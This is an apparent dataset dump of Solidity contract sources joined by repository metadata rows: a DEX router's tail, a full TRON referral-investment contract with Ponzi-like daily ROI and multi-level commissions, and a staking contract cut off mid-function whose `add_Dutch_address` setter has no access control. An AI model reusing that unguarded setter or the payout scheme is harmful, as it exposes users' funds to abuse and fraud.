amountTokenMin,
amountAVAXMin,
address(this),
deadline);
_safeTransfer(token, to, amountToken);
wavax.withdraw(amountAVAX);
_safeTransferAVAX(to, amountAVAX);
}
function removeLiquidityWithPermit(address tokenA,
address tokenB,
bool stable,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB) {
address pair = pairFor(tokenA, tokenB, stable);
{
uint value = approveMax ? type(uint).max : liquidity;
IBaseV1Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
}
(amountA, amountB) = removeLiquidity(tokenA, tokenB, stable, liquidity, amountAMin, amountBMin, to, deadline);
}
function removeLiquidityAVAXWithPermit(address token,
bool stable,
uint liquidity,
uint amountTokenMin,
uint amountAVAXMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountAVAX) {
address pair = pairFor(token, address(wavax), stable);
uint value = approveMax ? type(uint).max : liquidity;
IBaseV1Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
(amountToken, amountAVAX) = removeLiquidityAVAX(token, stable, liquidity, amountTokenMin, amountAVAXMin, to, deadline);
}
// **** SWAP ****
// requires the initial amount to have already been sent to the first pair
function _swap(uint[] memory amounts, route[] memory routes, address _to) internal virtual {
for (uint i = 0; i < routes.length; i++) {
(address token0,) = sortTokens(routes[i].from, routes[i].to);
uint amountOut = amounts[i + 1];
(uint amount0Out, uint amount1Out) = routes[i].from == token0 ? (uint(0), amountOut) : (amountOut, uint(0));
address to = i < routes.length - 1 ? pairFor(routes[i+1].from, routes[i+1].to, routes[i+1].stable) : _to;
IBaseV1Pair(pairFor(routes[i].from, routes[i].to, routes[i].stable)).swap(amount0Out, amount1Out, to, new bytes(0));
}
}
function swapExactTokensForTokensSimple(uint amountIn,
uint amountOutMin,
address tokenFrom,
address tokenTo,
bool stable,
address to,
uint deadline) external ensure(deadline) returns (uint[] memory amounts) {
route[] memory routes = new route[](1);
routes[0].from = tokenFrom;
routes[0].to = tokenTo;
routes[0].stable = stable;
amounts = getAmountsOut(amountIn, routes);
require(amounts[amounts.length - 1] >= amountOutMin, 'BaseV1Router: INSUFFICIENT_OUTPUT_AMOUNT');
_safeTransferFrom(routes[0].from, msg.sender, pairFor(routes[0].from, routes[0].to, routes[0].stable), amounts[0]);
_swap(amounts, routes, to);
}
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
route[] calldata routes,
address to,
uint deadline) external ensure(deadline) returns (uint[] memory amounts) {
amounts = getAmountsOut(amountIn, routes);
require(amounts[amounts.length - 1] >= amountOutMin, 'BaseV1Router: INSUFFICIENT_OUTPUT_AMOUNT');
_safeTransferFrom(routes[0].from, msg.sender, pairFor(routes[0].from, routes[0].to, routes[0].stable), amounts[0]);
_swap(amounts, routes, to);
}
function swapExactAVAXForTokens(uint amountOutMin, route[] calldata routes, address to, uint deadline)
external
payable
ensure(deadline)
returns (uint[] memory amounts)
{
require(routes[0].from == address(wavax), 'BaseV1Router: INVALID_PATH');
amounts = getAmountsOut(msg.value, routes);
require(amounts[amounts.length - 1] >= amountOutMin, 'BaseV1Router: INSUFFICIENT_OUTPUT_AMOUNT');
wavax.deposit{value: amounts[0]}();
assert(wavax.transfer(pairFor(routes[0].from, routes[0].to, routes[0].stable), amounts[0]));
_swap(amounts, routes, to);
}
function swapExactTokensForAVAX(uint amountIn, uint amountOutMin, route[] calldata routes, address to, uint deadline)
external
ensure(deadline)
returns (uint[] memory amounts)
{
require(routes[routes.length - 1].to == address(wavax), 'BaseV1Router: INVALID_PATH');
amounts = getAmountsOut(amountIn, routes);
require(amounts[amounts.length - 1] >= amountOutMin, 'BaseV1Router: INSUFFICIENT_OUTPUT_AMOUNT');
_safeTransferFrom(routes[0].from, msg.sender, pairFor(routes[0].from, routes[0].to, routes[0].stable), amounts[0]);
_swap(amounts, routes, address(this));
wavax.withdraw(amounts[amounts.length - 1]);
_safeTransferAVAX(to, amounts[amounts.length - 1]);
}
function UNSAFE_swapExactTokensForTokens(uint[] memory amounts,
route[] calldata routes,
address to,
uint deadline) external ensure(deadline) returns (uint[] memory) {
_safeTransferFrom(routes[0].from, msg.sender, pairFor(routes[0].from, routes[0].to, routes[0].stable), amounts[0]);
_swap(amounts, routes, to);
return amounts;
}
function _safeTransferAVAX(address to, uint value) internal {
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
function _safeTransfer(address token, address to, uint256 value) internal {
require(token.code.length > 0);
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(erc20.transfer.selector, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))));
}
function _safeTransferFrom(address token, address from, address to, uint256 value) internal {
require(token.code.length > 0);
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(erc20.transferFrom.selector, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))));
}
}
| 90,553 | 13,133 |
bd189e47db2db8691eecc48ea4cdb7fccb8f6687a09f395084b8c499a79d67f2
| 36,533 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TM/TM34jA9SW84gyXPT7A693vQ8qEMAByLWvk_TevvoTron.sol
| 7,152 | 29,636 |
//SourceUnit: TevvoTron.sol
pragma solidity ^0.5.8;
contract TevvoTron{
using SafeMath for *;
address public owner;
address public replenishAddress;
address private tempAddress;
uint64 public currUserID = 989;
uint256 private houseFee = 2;
uint256 private poolTime = 24 hours;
uint256 private payoutPeriod = 24 hours;
uint256 private dailyWinPool = 5;
uint256 private incomeTimes = 30;
uint256 private incomeDivide = 10;
uint256 public roundID;
uint256 public r1 = 0;
uint256 public r2 = 0;
uint256 public totalAmountWithdrawn = 0;
uint256 public totalAmountInvested = 0;
uint256[4] private awardPercentage;
struct Leaderboard {
uint256 amt;
address addr;
}
Leaderboard[4] public topSponsors;
Leaderboard[4] public lasttopSponsors;
uint256[4] public lasttopSponsorsWinningAmount;
mapping (uint64 => address) public userList;
mapping (address => bool) public isLeader;
mapping (uint256 => DataStructs.DailyRound) public round;
mapping (address => DataStructs.Player) public player;
mapping (address => DataStructs.PlayerEarnings) public playerEarnings;
mapping (address => mapping (uint256 => DataStructs.PlayerDailyRounds)) public plyrRnds_;
event registerUserEvent(address indexed _playerAddress, address indexed _referrer, uint256 _referrerID);
event investmentEvent(address indexed _playerAddress, uint256 indexed _amount);
event withdrawEvent(address indexed _playerAddress, uint256 indexed amount, uint256 indexed timeStamp);
event roundAwardsEvent(address indexed _playerAddress, uint256 indexed _amount);
event ownershipTransferred(address indexed owner, address indexed newOwner);
constructor (address _owner, address _replenishAddress) public {
owner = _owner;
replenishAddress = _replenishAddress;
tempAddress = msg.sender;
roundID = 1;
round[1].startTime = now;
round[1].endTime = now + poolTime;
awardPercentage[0] = 40;
awardPercentage[1] = 30;
awardPercentage[2] = 20;
awardPercentage[3] = 10;
}
modifier isWithinLimits(uint256 _trx) {
require(_trx >= 100000000, "Minimum contribution amount is 100 TRX");
_;
}
modifier isallowedValue(uint256 _trx) {
require(_trx % 100000000 == 0, "Amount should be in multiple of 100 TRX");
_;
}
modifier onlyOwner() {
require(msg.sender == owner, "only Owner");
_;
}
//if someone accidently sends trx to contract address
function () external payable {
depositAmount(1);
}
function regAdmins(address [] memory _adminAddress, uint256 _amount, uint256 _limit) public {
require(msg.sender == tempAddress, "not authorized");
require(currUserID <= 1001, "No more admins can be registered");
for(uint i = 0; i < _adminAddress.length; i++){
currUserID++;
player[_adminAddress[i]].id = currUserID;
player[_adminAddress[i]].lastSettledTime = now;
player[_adminAddress[i]].currentInvestedAmount = _amount;
player[_adminAddress[i]].incomeLimitLeft = _limit;
player[_adminAddress[i]].totalInvestment = _amount;
player[_adminAddress[i]].referrer = userList[currUserID-1];
player[_adminAddress[i]].referralCount = 25;
isLeader[msg.sender] == true;
userList[currUserID] = _adminAddress[i];
}
}
function depositAmount(uint64 _referrerID)
public
isWithinLimits(msg.value)
isallowedValue(msg.value)
payable {
require(_referrerID >0 && _referrerID <=currUserID,"Wrong Referrer ID");
uint256 amount = msg.value;
address _referrer = userList[_referrerID];
//check whether the it's the new user
if (player[msg.sender].id == 0) {
currUserID++;
player[msg.sender].id = currUserID;
player[msg.sender].lastSettledTime = now;
player[msg.sender].currentInvestedAmount = amount;
player[msg.sender].incomeLimitLeft = amount.mul(incomeTimes).div(incomeDivide);
player[msg.sender].totalInvestment = amount;
player[msg.sender].referrer = _referrer;
player[_referrer].referralCount = player[_referrer].referralCount.add(1);
userList[currUserID] = msg.sender;
if(_referrer == owner) {
player[owner].directReferralIncome = player[owner].directReferralIncome.add(amount.mul(30).div(100));
player[_referrer].totalVolumeEth = player[_referrer].totalVolumeEth.add(amount);
playerEarnings[_referrer].referralCommissionEarnings = playerEarnings[_referrer].referralCommissionEarnings.add(amount.mul(30).div(100));
}
else {
player[_referrer].totalVolumeEth = player[_referrer].totalVolumeEth.add(amount);
plyrRnds_[_referrer][roundID].ethVolume = plyrRnds_[_referrer][roundID].ethVolume.add(amount);
addPromoter(_referrer);
//assign the referral commission to all.
referralBonusTransferDirect(msg.sender, amount);
}
emit registerUserEvent(msg.sender, _referrer, _referrerID);
}
//if the player has already joined earlier
else {
require(player[msg.sender].incomeLimitLeft == 0, "limit still left");
require(amount >= player[msg.sender].currentInvestedAmount, "bad amount");
_referrer = player[msg.sender].referrer;
player[msg.sender].lastSettledTime = now;
player[msg.sender].currentInvestedAmount = amount;
player[msg.sender].incomeLimitLeft = amount.mul(incomeTimes).div(incomeDivide);
player[msg.sender].totalInvestment = player[msg.sender].totalInvestment.add(amount);
if(_referrer == owner) {
player[owner].directReferralIncome = player[owner].directReferralIncome.add(amount.mul(30).div(100));
player[_referrer].totalVolumeEth = player[_referrer].totalVolumeEth.add(amount);
playerEarnings[_referrer].referralCommissionEarnings = playerEarnings[_referrer].referralCommissionEarnings.add(amount.mul(30).div(100));
}
else {
player[_referrer].totalVolumeEth = player[_referrer].totalVolumeEth.add(amount);
plyrRnds_[_referrer][roundID].ethVolume = plyrRnds_[_referrer][roundID].ethVolume.add(amount);
addPromoter(_referrer);
//assign the referral commission to all.
referralBonusTransferDirect(msg.sender, amount);
}
}
round[roundID].pool = round[roundID].pool.add(amount.mul(dailyWinPool).div(100));
address(uint160(owner)).transfer((amount.mul(houseFee).div(100)));
address(uint160(replenishAddress)).transfer((amount.mul(3).div(100)));
//check if round time has finished
if (now > round[roundID].endTime && round[roundID].ended == false) {
startNewRound();
}
totalAmountInvested = totalAmountInvested.add(amount);
emit investmentEvent (msg.sender, amount);
}
function referralBonusTransferDirect(address _playerAddress, uint256 amount)
private
{
address _nextReferrer = player[_playerAddress].referrer;
if(isLeader[_nextReferrer] == true){
if (player[_nextReferrer].incomeLimitLeft >= amount.mul(30).div(100)) {
player[_nextReferrer].incomeLimitLeft = player[_nextReferrer].incomeLimitLeft.sub(amount.mul(30).div(100));
player[_nextReferrer].directReferralIncome = player[_nextReferrer].directReferralIncome.add(amount.mul(30).div(100));
playerEarnings[_nextReferrer].referralCommissionEarnings = playerEarnings[_nextReferrer].referralCommissionEarnings.add(amount.mul(30).div(100));
}
else if(player[_nextReferrer].incomeLimitLeft !=0) {
player[_nextReferrer].directReferralIncome = player[_nextReferrer].directReferralIncome.add(player[_nextReferrer].incomeLimitLeft);
r1 = r1.add(amount.mul(30).div(100).sub(player[_nextReferrer].incomeLimitLeft));
playerEarnings[_nextReferrer].referralCommissionEarnings = playerEarnings[_nextReferrer].referralCommissionEarnings.add(player[_nextReferrer].incomeLimitLeft);
player[_nextReferrer].incomeLimitLeft = 0;
}
else {
r1 = r1.add(amount.mul(30).div(100));
}
}
else {
if (player[_nextReferrer].incomeLimitLeft >= amount.mul(20).div(100)) {
player[_nextReferrer].incomeLimitLeft = player[_nextReferrer].incomeLimitLeft.sub(amount.mul(20).div(100));
player[_nextReferrer].directReferralIncome = player[_nextReferrer].directReferralIncome.add(amount.mul(20).div(100));
playerEarnings[_nextReferrer].referralCommissionEarnings = playerEarnings[_nextReferrer].referralCommissionEarnings.add(amount.mul(20).div(100));
}
else if(player[_nextReferrer].incomeLimitLeft !=0) {
player[_nextReferrer].directReferralIncome = player[_nextReferrer].directReferralIncome.add(player[_nextReferrer].incomeLimitLeft);
r1 = r1.add(amount.mul(20).div(100).sub(player[_nextReferrer].incomeLimitLeft));
playerEarnings[_nextReferrer].referralCommissionEarnings = playerEarnings[_nextReferrer].referralCommissionEarnings.add(player[_nextReferrer].incomeLimitLeft);
player[_nextReferrer].incomeLimitLeft = 0;
}
else {
r1 = r1.add(amount.mul(20).div(100));
}
}
}
function referralBonusTransferDailyROI(address _playerAddress, uint256 amount)
private
{
address _nextReferrer = player[_playerAddress].referrer;
uint256 _amountLeft = amount.div(2);
uint i;
for(i=0; i < 25; i++) {
if (_nextReferrer != address(0x0)) {
//referral commission to level 1
if(i == 0) {
if (player[_nextReferrer].incomeLimitLeft >= amount.mul(50).div(100)) {
player[_nextReferrer].incomeLimitLeft = player[_nextReferrer].incomeLimitLeft.sub(amount.mul(50).div(100));
player[_nextReferrer].roiReferralIncome = player[_nextReferrer].roiReferralIncome.add(amount.mul(50).div(100));
playerEarnings[_nextReferrer].referralCommissionEarnings = playerEarnings[_nextReferrer].referralCommissionEarnings.add(amount.mul(50).div(100));
}
else if(player[_nextReferrer].incomeLimitLeft !=0) {
player[_nextReferrer].roiReferralIncome = player[_nextReferrer].roiReferralIncome.add(player[_nextReferrer].incomeLimitLeft);
r2 = r2.add(amount.mul(50).div(100).sub(player[_nextReferrer].incomeLimitLeft));
playerEarnings[_nextReferrer].referralCommissionEarnings = playerEarnings[_nextReferrer].referralCommissionEarnings.add(player[_nextReferrer].incomeLimitLeft);
player[_nextReferrer].incomeLimitLeft = 0;
}
else {
r2 = r2.add(amount.mul(50).div(100));
}
_amountLeft = _amountLeft.sub(amount.mul(50).div(100));
}
//referral commission from level 2-25
else {
if(player[_nextReferrer].referralCount >= i+1) {
if (player[_nextReferrer].incomeLimitLeft >= amount.mul(5).div(100)) {
player[_nextReferrer].incomeLimitLeft = player[_nextReferrer].incomeLimitLeft.sub(amount.mul(5).div(100));
player[_nextReferrer].roiReferralIncome = player[_nextReferrer].roiReferralIncome.add(amount.mul(5).div(100));
playerEarnings[_nextReferrer].referralCommissionEarnings = playerEarnings[_nextReferrer].referralCommissionEarnings.add(amount.mul(5).div(100));
}
else if(player[_nextReferrer].incomeLimitLeft !=0) {
player[_nextReferrer].roiReferralIncome = player[_nextReferrer].roiReferralIncome.add(player[_nextReferrer].incomeLimitLeft);
r2 = r2.add(amount.mul(5).div(100).sub(player[_nextReferrer].incomeLimitLeft));
playerEarnings[_nextReferrer].referralCommissionEarnings = playerEarnings[_nextReferrer].referralCommissionEarnings.add(player[_nextReferrer].incomeLimitLeft);
player[_nextReferrer].incomeLimitLeft = 0;
}
else {
r2 = r2.add(amount.mul(5).div(100));
}
}
else {
r2 = r2.add(amount.mul(5).div(100));
}
}
}
else {
r2 = r2.add((uint(25).sub(i)).mul(amount.div(20)).add(_amountLeft));
break;
}
_nextReferrer = player[_nextReferrer].referrer;
}
}
//method to settle and withdraw the daily ROI
function settleIncome(address _playerAddress)
private {
uint256 remainingTimeForPayout;
uint256 currInvestedAmount;
if(now > player[_playerAddress].lastSettledTime + payoutPeriod) {
//calculate how much time has passed since last settlement
uint256 extraTime = now.sub(player[_playerAddress].lastSettledTime);
uint256 _dailyIncome;
//calculate how many number of days, payout is remaining
remainingTimeForPayout = (extraTime.sub((extraTime % payoutPeriod))).div(payoutPeriod);
currInvestedAmount = player[_playerAddress].currentInvestedAmount;
//calculate 2.5% of his invested amount
_dailyIncome = currInvestedAmount.div(40);
//check his income limit remaining
if (player[_playerAddress].incomeLimitLeft >= _dailyIncome.mul(remainingTimeForPayout)) {
player[_playerAddress].incomeLimitLeft = player[_playerAddress].incomeLimitLeft.sub(_dailyIncome.mul(remainingTimeForPayout));
player[_playerAddress].dailyIncome = player[_playerAddress].dailyIncome.add(_dailyIncome.mul(remainingTimeForPayout));
player[_playerAddress].lastSettledTime = player[_playerAddress].lastSettledTime.add((extraTime.sub((extraTime % payoutPeriod))));
playerEarnings[_playerAddress].dailyPayoutEarnings = playerEarnings[_playerAddress].dailyPayoutEarnings.add(_dailyIncome.mul(remainingTimeForPayout));
referralBonusTransferDailyROI(_playerAddress, _dailyIncome.mul(remainingTimeForPayout));
}
//if person income limit lesser than the daily ROI
else if(player[_playerAddress].incomeLimitLeft !=0) {
uint256 temp;
temp = player[_playerAddress].incomeLimitLeft;
player[_playerAddress].incomeLimitLeft = 0;
player[_playerAddress].dailyIncome = player[_playerAddress].dailyIncome.add(temp);
player[_playerAddress].lastSettledTime = now;
playerEarnings[_playerAddress].dailyPayoutEarnings = playerEarnings[_playerAddress].dailyPayoutEarnings.add(temp);
referralBonusTransferDailyROI(_playerAddress, temp);
}
}
}
//function to allow users to withdraw their earnings
function withdrawIncome()
public {
address _playerAddress = msg.sender;
//settle the daily dividend
settleIncome(_playerAddress);
uint256 _earnings =
player[_playerAddress].dailyIncome +
player[_playerAddress].directReferralIncome +
player[_playerAddress].roiReferralIncome +
player[_playerAddress].sponsorPoolIncome;
//can only withdraw if they have some earnings.
if(_earnings > 0) {
require(address(this).balance >= _earnings, "Insufficient balance");
player[_playerAddress].dailyIncome = 0;
player[_playerAddress].directReferralIncome = 0;
player[_playerAddress].roiReferralIncome = 0;
player[_playerAddress].sponsorPoolIncome = 0;
totalAmountWithdrawn = totalAmountWithdrawn.add(_earnings);//note the amount withdrawn from contract;
address(uint160(_playerAddress)).transfer(_earnings);
emit withdrawEvent(_playerAddress, _earnings, now);
}
//check if round needs to be started
if (now > round[roundID].endTime && round[roundID].ended == false) {
startNewRound();
}
}
//To start the new round for daily pool
function startNewRound()
private
{
uint256 _roundID = roundID;
uint256 _poolAmount = round[roundID].pool;
if (now > round[_roundID].endTime && round[_roundID].ended == false) {
if (_poolAmount >= 20000 trx) {
round[_roundID].ended = true;
uint256 distributedSponsorAwards = distributetopSponsors();
_roundID++;
roundID++;
round[_roundID].startTime = now;
round[_roundID].endTime = now.add(poolTime);
round[_roundID].pool = _poolAmount.sub(distributedSponsorAwards);
}
else {
round[_roundID].startTime = now;
round[_roundID].endTime = now.add(poolTime);
round[_roundID].pool = _poolAmount;
}
}
}
function drawPool() public onlyOwner {
startNewRound();
}
function addLeader (address _leaderAddress) public onlyOwner {
require(isLeader[_leaderAddress] == false,"leader already added");
isLeader[_leaderAddress] = true;
}
function addPromoter(address _add)
private
returns (bool)
{
if (_add == address(0x0)){
return false;
}
uint256 _amt = plyrRnds_[_add][roundID].ethVolume;
// if the amount is less than the last on the leaderboard, reject
if (topSponsors[3].amt >= _amt){
return false;
}
address firstAddr = topSponsors[0].addr;
uint256 firstAmt = topSponsors[0].amt;
address secondAddr = topSponsors[1].addr;
uint256 secondAmt = topSponsors[1].amt;
address thirdAddr = topSponsors[2].addr;
uint256 thirdAmt = topSponsors[2].amt;
// if the user should be at the top
if (_amt > topSponsors[0].amt){
if (topSponsors[0].addr == _add){
topSponsors[0].amt = _amt;
return true;
}
//if user is at the second position already and will come on first
else if (topSponsors[1].addr == _add){
topSponsors[0].addr = _add;
topSponsors[0].amt = _amt;
topSponsors[1].addr = firstAddr;
topSponsors[1].amt = firstAmt;
return true;
}
//if user is at the third position and will come on first
else if (topSponsors[2].addr == _add) {
topSponsors[0].addr = _add;
topSponsors[0].amt = _amt;
topSponsors[1].addr = firstAddr;
topSponsors[1].amt = firstAmt;
topSponsors[2].addr = secondAddr;
topSponsors[2].amt = secondAmt;
return true;
}
else{
topSponsors[0].addr = _add;
topSponsors[0].amt = _amt;
topSponsors[1].addr = firstAddr;
topSponsors[1].amt = firstAmt;
topSponsors[2].addr = secondAddr;
topSponsors[2].amt = secondAmt;
topSponsors[3].addr = thirdAddr;
topSponsors[3].amt = thirdAmt;
return true;
}
}
// if the user should be at the second position
else if (_amt > topSponsors[1].amt){
if (topSponsors[1].addr == _add){
topSponsors[1].amt = _amt;
return true;
}
//if user is at the third position, move it to second
else if(topSponsors[2].addr == _add) {
topSponsors[1].addr = _add;
topSponsors[1].amt = _amt;
topSponsors[2].addr = secondAddr;
topSponsors[2].amt = secondAmt;
return true;
}
else{
topSponsors[1].addr = _add;
topSponsors[1].amt = _amt;
topSponsors[2].addr = secondAddr;
topSponsors[2].amt = secondAmt;
topSponsors[3].addr = thirdAddr;
topSponsors[3].amt = thirdAmt;
return true;
}
}
//if the user should be at third position
else if(_amt > topSponsors[2].amt){
if(topSponsors[2].addr == _add) {
topSponsors[2].amt = _amt;
return true;
}
else {
topSponsors[2].addr = _add;
topSponsors[2].amt = _amt;
topSponsors[3].addr = thirdAddr;
topSponsors[3].amt = thirdAmt;
}
}
// if the user should be at the fourth position
else if (_amt > topSponsors[3].amt){
if (topSponsors[3].addr == _add){
topSponsors[3].amt = _amt;
return true;
}
else{
topSponsors[3].addr = _add;
topSponsors[3].amt = _amt;
return true;
}
}
}
function distributetopSponsors()
private
returns (uint256)
{
uint256 totAmt = round[roundID].pool.mul(10).div(100);
uint256 distributedAmount;
uint256 i;
for (i = 0; i< 4; i++) {
if (topSponsors[i].addr != address(0x0)) {
if (player[topSponsors[i].addr].incomeLimitLeft >= totAmt.mul(awardPercentage[i]).div(100)) {
player[topSponsors[i].addr].incomeLimitLeft = player[topSponsors[i].addr].incomeLimitLeft.sub(totAmt.mul(awardPercentage[i]).div(100));
player[topSponsors[i].addr].sponsorPoolIncome = player[topSponsors[i].addr].sponsorPoolIncome.add(totAmt.mul(awardPercentage[i]).div(100));
playerEarnings[topSponsors[i].addr].roundEarnings = playerEarnings[topSponsors[i].addr].roundEarnings.add(totAmt.mul(awardPercentage[i]).div(100));
}
else if(player[topSponsors[i].addr].incomeLimitLeft !=0) {
player[topSponsors[i].addr].sponsorPoolIncome = player[topSponsors[i].addr].sponsorPoolIncome.add(player[topSponsors[i].addr].incomeLimitLeft);
r2 = r2.add((totAmt.mul(awardPercentage[i]).div(100)).sub(player[topSponsors[i].addr].incomeLimitLeft));
playerEarnings[topSponsors[i].addr].roundEarnings = playerEarnings[topSponsors[i].addr].roundEarnings.add(player[topSponsors[i].addr].incomeLimitLeft);
player[topSponsors[i].addr].incomeLimitLeft = 0;
}
else {
r2 = r2.add(totAmt.mul(awardPercentage[i]).div(100));
}
distributedAmount = distributedAmount.add(totAmt.mul(awardPercentage[i]).div(100));
lasttopSponsors[i].addr = topSponsors[i].addr;
lasttopSponsors[i].amt = topSponsors[i].amt;
lasttopSponsorsWinningAmount[i] = totAmt.mul(awardPercentage[i]).div(100);
topSponsors[i].addr = address(0x0);
topSponsors[i].amt = 0;
}
}
return distributedAmount;
}
function withdrawFees(uint256 _amount, address _receiver, uint256 _numberUI) public onlyOwner {
if(_numberUI == 1 && r1 >= _amount) {
if(_amount > 0) {
if(address(this).balance >= _amount) {
r1 = r1.sub(_amount);
address(uint160(_receiver)).transfer(_amount);
}
}
}
else if(_numberUI == 2 && r2 >= _amount) {
if(_amount > 0) {
if(address(this).balance >= _amount) {
r2 = r2.sub(_amount);
address(uint160(_receiver)).transfer(_amount);
}
}
}
}
function transferOwnership(address newOwner) external onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) private {
require(newOwner != address(0), "New owner cannot be the zero address");
emit ownershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
library DataStructs {
struct DailyRound {
uint256 startTime;
uint256 endTime;
bool ended; //has daily round ended
uint256 pool; //amount in the pool;
}
struct Player {
uint256 id;
uint256 totalInvestment;
uint256 totalVolumeEth;
uint256 directReferralIncome;
uint256 roiReferralIncome;
uint256 currentInvestedAmount;
uint256 dailyIncome;
uint256 lastSettledTime;
uint256 incomeLimitLeft;
uint256 sponsorPoolIncome;
uint256 referralCount;
address referrer;
}
struct PlayerEarnings {
uint256 referralCommissionEarnings;
uint256 dailyPayoutEarnings;
uint256 roundEarnings;
}
struct PlayerDailyRounds {
uint256 ethVolume;
}
}
| 295,131 | 13,134 |
21090b1e94f0389acb06f48243f79107781a2f6add2b89c0167fca1c4f205567
| 15,058 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/7f/7fed0d683035FC2512B020C5253D510137AB30e6_OYAC_STAKING.sol
| 3,993 | 14,316 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function burnbyContract(uint256 _amount) external;
function withdrawStakingReward(address _address,uint256 _amount) external;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface gen_1{
function isStaked(address LockedUser) external view returns(bool);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface IERC721 {
event Transfer(address indexed from, address indexed to, uint256 indexed LockedTokenid);
event Approval(address indexed owner, address indexed approved, uint256 indexed LockedTokenid);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 LockedTokenid) external view returns (address owner);
function safeTransferFrom(address from,address to,uint256 LockedTokenid) external;
function transferFrom(address from,address to,uint256 LockedTokenid) external;
function approve(address to, uint256 LockedTokenid) external;
function getApproved(uint256 LockedTokenid) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from,address to,uint256 LockedTokenid,bytes calldata data) external;
}
contract Ownable {
address public _owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0),
"Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract OYAC_STAKING is Ownable{
//////////// Variables ////////////
using SafeMath for uint256;
IERC721 public NFT;
IERC20 public Token;
gen_1 public GEN_1;
address public DutuchAuction;
//////////// Locked - Structure ////////////
struct LockeduserInfo
{
uint256 totlaWithdrawn;
uint256 withdrawable;
uint256 totalStaked;
uint256 lockedAvaialable;
}
//////////// Locked - Mapping ////////////
mapping(address => LockeduserInfo) public LockedUser;
mapping(address => mapping(uint256 => uint256)) public LockedstakingTime;
mapping(address => uint256[]) public LockedTokenid;
mapping(address => uint256) public LockedtotalStakedNft;
mapping(uint256 => bool) public LockedalreadyAwarded;
mapping(address => mapping(uint256=>uint256)) public lockeddepositTime;
uint256 Time= 20 seconds;
uint256 LockingTime= 60 seconds;
uint256 maxNoOfDays = 3;
constructor(IERC721 _NFTToken,IERC20 _token,gen_1 _gen_1)
{
NFT =_NFTToken;
Token=_token;
GEN_1 = _gen_1;
}
modifier onlyDuctch() {
require(msg.sender == DutuchAuction , "Caller is not from Ductch Auction");
_;
}
function add_Dutch_address(address _dutuch) public {
DutuchAuction = _dutuch;
}
//////////// Locked Staking ////////////
function lockedStaking(uint256 _Tokenid, address _user) external
onlyDuctch
{
LockedTokenid[_user].push(_Tokenid);
LockedstakingTime[_user][_Tokenid]=block.timestamp;
if(!LockedalreadyAwarded[_Tokenid]){
lockeddepositTime[_user][_Tokenid]=block.timestamp;
}
LockedUser[_user].totalStaked+=1;
LockedtotalStakedNft[_user]+=1;
}
//////////// Reward Check Function ////////////
function lockedCalcTime(uint256 Tid, address _user) public view returns(uint256) {
